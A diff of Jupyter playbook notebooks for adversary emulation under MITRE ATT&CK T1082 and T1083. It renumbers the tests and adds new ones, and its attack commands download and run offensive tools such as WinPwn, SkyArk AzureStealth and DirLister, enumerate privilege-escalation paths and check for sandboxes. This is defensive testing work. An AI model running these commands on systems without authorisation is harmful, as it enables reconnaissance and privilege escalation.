-force -recurse .\\LocalPrivEsc -ErrorAction Ignore\nrm -force -recurse .\\LocalRecon -ErrorAction Ignore\nrm -force -recurse .\\Vulnerabilities -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "9ecc92b3", + "id": "854fb6c5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 15 -Cleanup" + "source": "Invoke-AtomicTest T1082 -TestNumbers 16 -Cleanup" }, { "cell_type": "markdown", - "id": "f55832dc", + "id": "5826fab1", "metadata": {}, "source": [ - "### Atomic Test #16 - WinPwn - General privesc checks", + "### Atomic Test #17 - WinPwn - General privesc checks", "General privesc checks using the otherchecks function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -366,17 +387,17 @@ { "cell_type": "code", "execution_count": null, - "id": "2153df31", + "id": "d54e2a3f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 16" + "source": "Invoke-AtomicTest T1082 -TestNumbers 17" }, { "cell_type": "markdown", - "id": "9c7791d3", + "id": "87cd61d0", "metadata": {}, "source": [ - "### Atomic Test #17 - WinPwn - GeneralRecon", + "### Atomic Test #18 - WinPwn - GeneralRecon", "Collect general computer informations via GeneralRecon function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -386,17 +407,17 @@ { "cell_type": "code", "execution_count": null, - "id": "d5331512", + "id": "998d5086", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 17" + "source": "Invoke-AtomicTest T1082 -TestNumbers 18" }, { "cell_type": "markdown", - "id": "f76b6278", + "id": "0194d69b", "metadata": {}, "source": [ - "### Atomic Test #18 - WinPwn - Morerecon", + "### Atomic Test #19 - WinPwn - Morerecon", "Gathers local system information using the Morerecon function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -406,17 +427,17 @@ { "cell_type": "code", "execution_count": null, - "id": "8d7be565", + "id": "4a87ccc4", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 18" + "source": "Invoke-AtomicTest T1082 -TestNumbers 19" }, { "cell_type": "markdown", - "id": "775911b7", + "id": "665ed5d7", "metadata": {}, "source": [ - "### Atomic Test #19 - WinPwn - RBCD-Check", + "### Atomic Test #20 - WinPwn - RBCD-Check", "Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -426,17 +447,17 @@ { "cell_type": "code", "execution_count": null, - "id": "78d6d1ae", + "id": "f8e56e1f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 19" + "source": "Invoke-AtomicTest T1082 -TestNumbers 20" }, { "cell_type": "markdown", - "id": "783a66aa", + "id": "07bda544", "metadata": {}, "source": [ - "### Atomic Test #20 - WinPwn - PowerSharpPack - Watson searching for missing windows patches", + "### Atomic Test #21 - WinPwn - PowerSharpPack - Watson searching for missing windows patches", "PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -446,17 +467,17 @@ { "cell_type": "code", "execution_count": null, - "id": "61083c88", + "id": "75de23f5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 20" + "source": "Invoke-AtomicTest T1082 -TestNumbers 21" }, { "cell_type": "markdown", - "id": "b2df3e2c", + "id": "ce4839dd", "metadata": {}, "source": [ - "### Atomic Test #21 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors", + "### Atomic Test #22 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors", "PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -466,17 +487,17 @@ { "cell_type": "code", "execution_count": null, - "id": "85ad3b77", + "id": "1ce2e472", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 21" + "source": "Invoke-AtomicTest T1082 -TestNumbers 22" }, { "cell_type": "markdown", - "id": "9bfb3250", + "id": "9f193c00", "metadata": {}, "source": [ - "### Atomic Test #22 - WinPwn - PowerSharpPack - Seatbelt", + "### Atomic Test #23 - WinPwn - PowerSharpPack - Seatbelt", "PowerSharpPack - Seatbelt technique via function of WinPwn.\n\n[Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey \"safety checks\" relevant from both offensive and defensive security perspectives.", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -486,62 +507,62 @@ { "cell_type": "code", "execution_count": null, - "id": "4eb5b9ec", + "id": "b4df39f2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 22" + "source": "Invoke-AtomicTest T1082 -TestNumbers 23" }, { "cell_type": "markdown", - "id": "b4d82401", + "id": "029a6cff", "metadata": {}, - "source": "### Atomic Test #23 - Azure Security Scan with SkyArk\nUpon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. \nOnce the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. \nSee https://github.com/cyberark/SkyArk \n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: The SkyArk AzureStealth module must exist in $env:temp.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\AzureStealth.ps1){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e95061a8980dd7b5da0030edc4da5c0/AzureStealth/AzureStealth.ps1\" -outfile \"$env:temp\\AzureStealth.ps1\"\n\n```\n##### Description: The AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```\n##### Description: The Az module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az -Force\n\n```" + "source": "### Atomic Test #24 - Azure Security Scan with SkyArk\nUpon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. \nOnce the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. \nSee https://github.com/cyberark/SkyArk \n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: The SkyArk AzureStealth module must exist in PathToAtomicsFolder\\..\\ExternalPayloads.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AzureStealth.ps1\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e95061a8980dd7b5da0030edc4da5c0/AzureStealth/AzureStealth.ps1\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AzureStealth.ps1\"\n\n```\n##### Description: The AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```\n##### Description: The Az module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "02892385", + "id": "10283e64", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 23 -GetPreReqs" + "source": "Invoke-AtomicTest T1082 -TestNumbers 24 -GetPreReqs" }, { "cell_type": "markdown", - "id": "871c7eb7", + "id": "6452cdd2", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module $env:temp\\AzureStealth.ps1 -force \n$Password = ConvertTo-SecureString -String \"T1082Az\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"None\", $Password\nConnect-AzAccount -Credential $Credential\nConnect-AzureAD -Credential $Credential\nScan-AzureAdmins -UseCurrentCred\n```" + "```powershell\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\AzureStealth.ps1\" -force \n$Password = ConvertTo-SecureString -String \"T1082Az\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"None\", $Password\nConnect-AzAccount -Credential $Credential\nConnect-AzureAD -Credential $Credential\nScan-AzureAdmins -UseCurrentCred\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ca546962", + "id": "7af283b7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 23" + "source": "Invoke-AtomicTest T1082 -TestNumbers 24" }, { "cell_type": "markdown", - "id": "952cf4c1", + "id": "3d477f87", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$resultstime = Get-Date -Format \"yyyyMMdd\"\n$resultsfolder = (\"Results-\" + $resultstime)\nremove-item $env:temp\\$resultsfolder -recurse -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5b18a692", + "id": "2ba36172", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 23 -Cleanup" + "source": "Invoke-AtomicTest T1082 -TestNumbers 24 -Cleanup" }, { "cell_type": "markdown", - "id": "f6d140f7", + "id": "dba67de1", "metadata": {}, "source": [ - "### Atomic Test #24 - Linux List Kernel Modules", + "### Atomic Test #25 - Linux List Kernel Modules", "Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `sh`\n", @@ -551,40 +572,141 @@ { "cell_type": "code", "execution_count": null, - "id": "f10b42c9", + "id": "659580db", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 24" + "source": "Invoke-AtomicTest T1082 -TestNumbers 25" }, { "cell_type": "markdown", - "id": "e1d5ece7", + "id": "e2848675", "metadata": {}, "source": [ - "### Atomic Test #25 - System Information Discovery with WMIC", + "### Atomic Test #26 - FreeBSD List Kernel Modules", + "Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present.\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\nkldstat\nkldstat | grep vmm\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7f270ab4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1082 -TestNumbers 26" + }, + { + "cell_type": "markdown", + "id": "e054afb3", + "metadata": {}, + "source": [ + "### Atomic Test #27 - System Information Discovery with WMIC", "Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions.\nhttps://nwgat.ninja/getting-system-information-with-wmic-on-windows/\nElements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting:\nhttps://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar\nhttps://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nwmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\n```" + "```command_prompt\nwmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\nGet-WmiObject win32_bios\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "214369dd", + "id": "f7780062", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1082 -TestNumbers 25" + "source": "Invoke-AtomicTest T1082 -TestNumbers 27" + }, + { + "cell_type": "markdown", + "id": "0676d6bc", + "metadata": {}, + "source": [ + "### Atomic Test #28 - Driver Enumeration using DriverQuery", + "Executes the driverquery command to list drivers installed on the system. Adversaries utilize the feature to enumerate the driver and it can be\nused for Exploitation. \ncommand /v - provide verbose output but not valid for signed drivers\n /si - provide information about signed drivers \n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\ndriverquery /v\ndriverquery /si\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "de34db20", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1082 -TestNumbers 28" + }, + { + "cell_type": "markdown", + "id": "adfbaa8b", + "metadata": {}, + "source": [ + "### Atomic Test #29 - System Information Discovery", + "The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\\Windows\\System32\\config or c:\\Windows\\System32\\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nwscript.exe C:\\Windows\\System32\\gatherNetworkInfo.vbs\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3f6681f8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1082 -TestNumbers 29" + }, + { + "cell_type": "markdown", + "id": "e516feae", + "metadata": {}, + "source": [ + "### Atomic Test #30 - Check computer location", + "Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed.\n- https://tria.ge/210111-eaz8mqhgh6/behavioral1\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg query \"HKEY_CURRENT_USER\\Control Panel\\International\\Geo\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "596bc647", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1082 -TestNumbers 30" + }, + { + "cell_type": "markdown", + "id": "a755fdd8", + "metadata": {}, + "source": [ + "### Atomic Test #31 - BIOS Information Discovery through Registry", + "Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments. Upon execution, BIOS information will be displayed.\n- https://tria.ge/210111-eaz8mqhgh6/behavioral1\n- https://evasions.checkpoint.com/techniques/registry.html\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg query HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System /v SystemBiosVersion\nreg query HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System /v VideoBiosVersion\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8d179880", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1082 -TestNumbers 31" }, { "cell_type": "markdown", - "id": "759c42b6", + "id": "ed26a8f6", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations." }, { "cell_type": "markdown", - "id": "b3b6a1ff", + "id": "5ee06fae", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to feed content to an adversary to influence their behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can use decoy content to give the false impression about the system when an adversary performs system information discovery.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -592,13 +714,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1083.ipynb b/playbook/tactics/discovery/T1083.ipynb index 5d9188ff..2e0dbadd 100644 --- a/playbook/tactics/discovery/T1083.ipynb +++ b/playbook/tactics/discovery/T1083.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9428a03f", + "id": "17ecfc17", "metadata": {}, "source": "# T1083 - File and Directory Discovery\nAdversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)" }, { "cell_type": "markdown", - "id": "e40b7a3c", + "id": "ec47f493", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "40ee9f3b", + "id": "b0de81fb", "metadata": {}, "source": [ "### Atomic Test #1 - File and Directory Discovery (cmd.exe)", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0c9179e5", + "id": "512ec75e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "edae7cea", + "id": "a003f852", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\T1083Test1.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6b2ce044", + "id": "fb336d87", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "664a00d0", + "id": "0e2d5e06", "metadata": {}, "source": [ "### Atomic Test #2 - File and Directory Discovery (PowerShell)", @@ -61,19 +61,19 @@ { "cell_type": "code", "execution_count": null, - "id": "f451b045", + "id": "8a224192", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "eededa32", + "id": "9e445f1a", "metadata": {}, "source": [ "### Atomic Test #3 - Nix File and Directory Discovery", "Find or discover files on the file system\n\nReferences:\n\nhttp://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/\n\nhttps://perishablepress.com/list-files-folders-recursively-terminal/\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", "```sh\nls -a >> /tmp/T1083.txt\nif [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > /tmp/T1083.txt; fi;\nfile */* *>> /tmp/T1083.txt\ncat /tmp/T1083.txt 2>/dev/null\nfind . -type f\nls -R | grep \":$\" | sed -e 's/:$//' -e 's/[^-][^\\/]*\\//--/g' -e 's/^/ /' -e 's/-/|/'\nlocate *\nwhich sh\n```" ] @@ -81,33 +81,33 @@ { "cell_type": "code", "execution_count": null, - "id": "aa7ad283", + "id": "4dad46da", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "f5c477bd", + "id": "dc9dda88", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/T1083.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5a70f21b", + "id": "3a1b2399", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "41d0e992", + "id": "e679b282", "metadata": {}, "source": [ "### Atomic Test #4 - Nix File and Directory Discovery 2", "Find or discover files on the file system\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", "```sh\ncd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > /tmp/T1083.txt\nif [ -f /etc/mtab ]; then cat /etc/mtab >> /tmp/T1083.txt; fi;\nfind . -type f -iname *.pdf >> /tmp/T1083.txt\ncat /tmp/T1083.txt\nfind . -type f -name \".*\"\n```" ] @@ -115,28 +115,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3c389a84", + "id": "1f916a51", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "0eaeac84", + "id": "17b80583", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/T1083.txt```" }, { "cell_type": "code", "execution_count": null, - "id": "02cf58fe", + "id": "93cf0395", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "8bff5242", + "id": "e74e1c3e", "metadata": {}, "source": [ "### Atomic Test #5 - Simulating MAZE Directory Enumeration", @@ -149,65 +149,65 @@ { "cell_type": "code", "execution_count": null, - "id": "9fcbaefb", + "id": "9c9e9d40", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "6e08eaf5", + "id": "89cff0af", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item $env:temp\\T1083Test5.txt -ErrorAction SilentlyContinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1c156f88", + "id": "e63fe0bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "e34c3b87", + "id": "d275d5bd", "metadata": {}, - "source": "### Atomic Test #6 - Launch DirLister Executable\nLaunches the DirLister executable for a short period of time and then exits.\n\nRecently seen used by [BlackCat ransomware](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/) to create a list of accessible directories and files.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DirLister.exe must exist in the specified path #{dirlister_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1083\\bin\\DirLister.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n$parentpath = Split-Path \"PathToAtomicsFolder\\T1083\\bin\\DirLister.exe\"\nInvoke-WebRequest https://github.com/SanderSade/DirLister/releases/download/v2.beta4/DirLister.v2.beta4.zip -OutFile $env:TEMP\\TDirLister.v2.beta4.zip\nNew-Item -ItemType Directory -Force -Path $parentpath | Out-Null\nExpand-Archive -Path $env:TEMP\\TDirLister.v2.beta4.zip -DestinationPath $env:TEMP\\TDirLister.v2.beta4 -Force\nCopy-Item $env:TEMP\\TDirLister.v2.beta4\\* $parentpath -Recurse\nRemove-Item $env:TEMP\\TDirLister.v2.beta4.zip,$env:TEMP\\TDirLister.v2.beta4 -Recurse -ErrorAction Ignore\n\n```" + "source": "### Atomic Test #6 - Launch DirLister Executable\nLaunches the DirLister executable for a short period of time and then exits.\n\nRecently seen used by [BlackCat ransomware](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/) to create a list of accessible directories and files.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DirLister.exe must exist in the specified path #{dirlister_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\DirLister.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n$parentpath = Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\DirLister.exe\"\nNew-Item -ItemType Directory -Force -Path $parentpath | Out-Null\nInvoke-WebRequest https://github.com/SanderSade/DirLister/releases/download/v2.beta4/DirLister.v2.beta4.zip -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\TDirLister.v2.beta4.zip\"\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\TDirLister.v2.beta4.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\TDirLister.v2.beta4\" -Force\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\TDirLister.v2.beta4\\*\" \"$parentpath\" -Recurse\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\TDirLister.v2.beta4.zip\",\"PathToAtomicsFolder\\..\\ExternalPayloads\\TDirLister.v2.beta4\" -Recurse -ErrorAction Ignore\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c2f950a8", + "id": "75358ac6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d3df2114", + "id": "a9d79f7d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nStart-Process PathToAtomicsFolder\\T1083\\bin\\DirLister.exe\nStart-Sleep -Second 4\nStop-Process -Name \"DirLister\"\n```" + "```powershell\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\DirLister.exe\"\nStart-Sleep -Second 4\nStop-Process -Name \"DirLister\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "7752870c", + "id": "c153c6e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1083 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "faf7e25f", + "id": "34834b99", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. " }, { "cell_type": "markdown", - "id": "78862782", + "id": "6242e423", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to feed content to an adversary to influence their behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can utilize decoy files and directories to provide content that could be used by the adversary.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -215,13 +215,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1087.001.ipynb b/playbook/tactics/discovery/T1087.001.ipynb index abddd432..1c601c50 100644 --- a/playbook/tactics/discovery/T1087.001.ipynb +++ b/playbook/tactics/discovery/T1087.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c11e0b4e", + "id": "dfcbe6f7", "metadata": {}, "source": "# T1087.001 - Local Account\nAdversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and 